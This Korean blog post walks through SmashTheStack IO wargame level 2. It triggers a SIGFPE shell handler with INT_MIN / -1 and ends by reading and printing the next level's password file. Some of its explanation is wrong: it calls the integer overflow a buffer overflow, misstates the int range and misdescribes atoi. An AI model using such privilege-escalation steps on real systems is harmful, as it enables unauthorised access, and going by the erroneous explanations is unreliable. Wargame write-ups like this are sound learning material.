본문 바로가기
스터디/wargames

SmashTheStack : level2@io.smashthestack 문제풀이

by 깝태 2011. 7. 20.

지금 할게 매우 많다만 계속 미루고 나면 할게 산을 이룰것같아서 하나하나 빠르게 하고 넘어가려고 한다.


level2@io:/levels$ ./level02

source code is available in level02.c


프로그램을 실행하면 level02 소스코드를 확인하라는 메세지가 뜬다.


level2@io:/levels$ cat level02.c

//a little fun brought to you by bla


#include <stdio.h>

#include <stdlib.h>

#include <signal.h>

#include <setjmp.h>


void catcher(int a) // 쉘 획득!

{

        setresuid(geteuid(),geteuid(),geteuid());

        printf("WIN!\n");

        system("/bin/sh");

        exit(0);

}


int main(int argc, char **argv) 

{

        puts("source code is available in level02.c\n");


        if (argc != 3 || !atoi(argv[2])) // 인자개수가 3이 아니거나 or 0이 아닐경우

                return 1; // 비정상적인 종료 - 인자가 두개

        signal(SIGFPE, catcher); // 시그널 함수 호출

        return atoi(argv[1]) / atoi(argv[2]); 

}


signal(SIGFPE, catcher) 이 부분에서 SIGNAL 함수는 예외 상황 발생 시 사용자가 지정한 신호 처리 함수를

실행하는 함수이다. SIGFPE 라는 시그널(예외 상황 발생 시 프로그램으로 보내지는 신호)을 보내면 catcher 이라는

함수가 함께 호출되면서 쉘 권한을 획득할 수 있다.


신호는 유닉스와 리눅스 시스템이 어떤 조건에서 응답하여 발생하는 이벤트라고 하며 

신호의 종류에는 다음과 같은 것들이 있다.


SIGABORT: *프로세스 중단 
SIGALARM: 알람 시계 
SIGHUP  : 행업 (hang up) 
SIGILL  : *잘못된 지시어 
SIGINT  : 터미널 인터럽트 
SIGKILL : 죽이기 (잡거나 무시할 수 없다) 
SIGPIPE : 읽는 프로세스가 없는 파이프에 쓰기 
SIGQUIT : 터미널 끝내기 
SIGSEGV : *잘못된 메모리 세그먼트 엑세스 
SIGTERM : 종료 
SIGUSR1 : 사용자 정의 신호1 
SIGUSR2 : 사용자 정의 신호2 


SIGFPE 신호는 고정소수점 예외 발생시 발생되는 시그널 + 정수 오버플로우, 언더플로우 때 + 0 으로 나뉘어질때 발생한다.


메인함수가 끝날때 return atoi(argv[1]) / atoi(argv[2]);  이 부분에서 예외 상황이 발생할 수 있습니다. 

이 부분에서 SIGFPE 신호를 일으키면 되는데 버퍼 오버플로우를 일으켜서 예외 상황을 발생시킬 수 있습니다.

0 으로 나뉘어지는게 물론 더 간단하겠지만 IF 조건 문에서 0 으로 인자를 넣는걸 막고있다.


atoi 함수는 문자열 변수를 int 형 정수로 변환해주는 함수 입니다. 그러니깐 int 형 정수의 범위를 넘어서면

오버플로우가 일어난다. int 형 정수의 범위는 -21473648 ~ 2147483647 이다.


argv[1] 과 argv[2] 를 나눈 값을 또 atoi 함수로 변환한 값을 리턴형에 반환하고 있다. 그래서 바로 그냥 범위 넘어서는것을

수를 인자에 넣어 나누면 되지 않겠느냐 하겠지만 atoi 함수는 범위를 넘어갈경우 65536 으로 나눈값을 리턴한다고 한다.


꼼수를 쓰면 쉽게 문제를 풀 수 있다.


level2@io:/levels$ ./level02 -2147483648 -1 // 이렇게 하면 2147483648 이 되서 아무런 이상없이 버퍼오버플로우를 일으킨다.

source code is available in level02.c


WIN!

sh-3.2$ id

uid=1003(level3) gid=1002(level2) groups=1002(level2),1029(nosu)


sh-3.2$ cat /home/level3/.pass

f9esfdy8T6Hd